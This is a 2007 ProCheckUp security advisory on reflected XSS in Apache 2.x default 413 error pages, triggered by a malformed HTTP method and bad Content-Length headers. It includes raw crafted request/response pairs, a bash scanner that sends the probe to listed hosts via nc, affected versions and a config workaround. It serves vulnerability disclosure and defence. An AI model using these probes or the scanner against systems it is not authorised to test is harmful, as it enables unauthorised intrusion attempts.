PR07-37.txt
Posted on 03 December 2007
PR07-37: XSS on Apache HTTP Server 413 error pages via malformed HTTP method Vulnerability found: 7 November 2007 Vendor contacted: 14 November 2007 Risk factor: N/A The reason why we didn't consider this vulnerability a security risk is because the attacker needs to force the victim's browser to submit a malformed HTTP method. Header injection has been demonstrated to be possible using Flash [1] [2], but might be dependent on vulnerable Flash plugins. A relevant example published in the past is exploiting the Apache 'Expect' XSS [3] (CVE-2006-3918) using flash [4]. However, in this case we need to spoof the HTTP METHOD to a specially-crafted value. Description: It is possible to cause Apache HTTP server to return client-supplied scripting code by submitting a malformed HTTP method which would actually carry the payload (i.e.: malicious JavaScript) and invalid length data in the form of either of the following: Two 'Content-length:' headers equals to zero. i.e.: "Content-Length: 0[LF]Content-Length: 0" One 'Content-length:' header equals to two values. i.e.: "Content-length: 0, 0" One 'Content-length:' header equals to a negative value. i.e.: "Content-length: -1" One 'Content-length:' header equals to a large value. i.e.: "Content-length: 9999999999999999999999999999999999999999999999" Apache 2.X returns a '413 Request Entity Too Large' error, when submitting invalid length data. When probing for XSS on the error page returned by the server we have 3 possible string vectors: The 'Host:' header The URL The HTTP method If we probe for XSS using the 'Host:' header, Apache correctly filters the angle brackets and replaces them with HTML entities: REQUEST: GET / HTTP/1.1 Host: <BADCHARS> Connection: close Content-length: -1 [LF] [LF] SERVER'S REPONSE: HTTP/1.1 413 Request Entity Too Large Date: Fri, 30 Nov 2007 12:40:19 GMT Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>413 Request Entity Too Large</title> </head><body> <h1>Request Entity Too Large</h1> The requested resource<br />/<br /> does not allow request data with GET requests, or the amount of data provided in the request exceeds the capacity limit. <hr> <address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at <badchars> Port 80</address> </body></html> Notice that '<BADCHARS>' gets replaced with '<badchars>' If we probe for XSS using the URL, Apache ALSO correctly filters the angle brackets and replaces them with HTML entities: REQUEST: GET /<BADCHARS>/ HTTP/1.1 Host: target-domain.foo Connection: close Content-length: -1 [LF] [LF] SERVER'S RESPONSE: HTTP/1.1 413 Request Entity Too Large Date: Fri, 30 Nov 2007 12:41:17 GMT Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>413 Request Entity Too Large</title> </head><body> <h1>Request Entity Too Large</h1> The requested resource<br />/<BADCHARS>/<br /> does not allow request data with GET requests, or the amount of data provided in the request exceeds the capacity limit. <hr> <address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address> </body></html> Again, '<BADCHARS>' gets replaced with '<badchars>' However, if we probe for XSS using a malformed HTTP method, the angle brackets are NOT replaced with HTML entities: REQUEST: <BADCHARS> / HTTP/1.1 Host: target-domain.foo Connection: close Content-length: -1 [LF] [LF] SERVER'S RESPONSE: HTTP/1.1 413 Request Entity Too Large Date: Fri, 30 Nov 2007 12:42:46 GMT Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>413 Request Entity Too Large</title> </head><body> <h1>Request Entity Too Large</h1> The requested resource<br />/<br /> does not allow request data with <BADCHARS> requests, or the amount of data provided in the request exceeds the capacity limit. <hr> <address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address> </body></html> The following script could be used to audit your network for vulnerable web servers: #!/bin/bash # PR07-37-scan if [ $# -ne 1 ] then echo "$0 <hosts-file>" exit fi for i in `cat $1` do if echo -en "<PROCHECKUP> / HTTP/1.1 Host: $i Connection: close Content-length: 0 Content-length: 0 " | nc -w 4 $i 80 | grep -i '<PROCHECKUP>' > /dev/null then echo "$i is VULNERABLE!" fi done Vulnerability successfully tested on (banners extracted from server headers): Server: Apache/2.0.46 (Red Hat) Server: Apache/2.0.51 (Fedora) Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7g Server: Apache/2.2.3 (FreeBSD) mod_ssl/2.2.3 OpenSSL/0.9.7e-p1 DAV/2 Server: Apache/2.2.4 (Linux/SUSE) Note: other versions might also be vulnerable. Consequences: This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. session IDs) to unauthorised third parties provided that a web browser is tricked to submit a malformed HTTP method. Workaround: Disable Apache's default 413 error pages by adding 'ErrorDocument 413' statement to the Apache config file. References: http://www.procheckup.com/Vulnerability_2007.php [1] "Forging HTTP request headers with Flash" http://archives.neohapsis.com/archives/bugtraq/2006-07/0425.html [2] "HTTP Header Injection Vulnerabilities in the Flash Player Plugin" http://download2.rapid7.com/r7-0026/ [3] "Unfiltered Header Injection in Apache 1.3.34/2.0.57/2.2.1" http://www.securityfocus.com/archive/1/433280 [4] "More Expect Exploitation In Flash" http://ha.ckers.org/blog/20071103/more-expect-exploitation-in-flash/ Credits: Adrian Pastor and Amir Azam of ProCheckUp Ltd (www.procheckup.com). Special thanks go to Amit Klein and Joe Orton for providing such valuable feedback.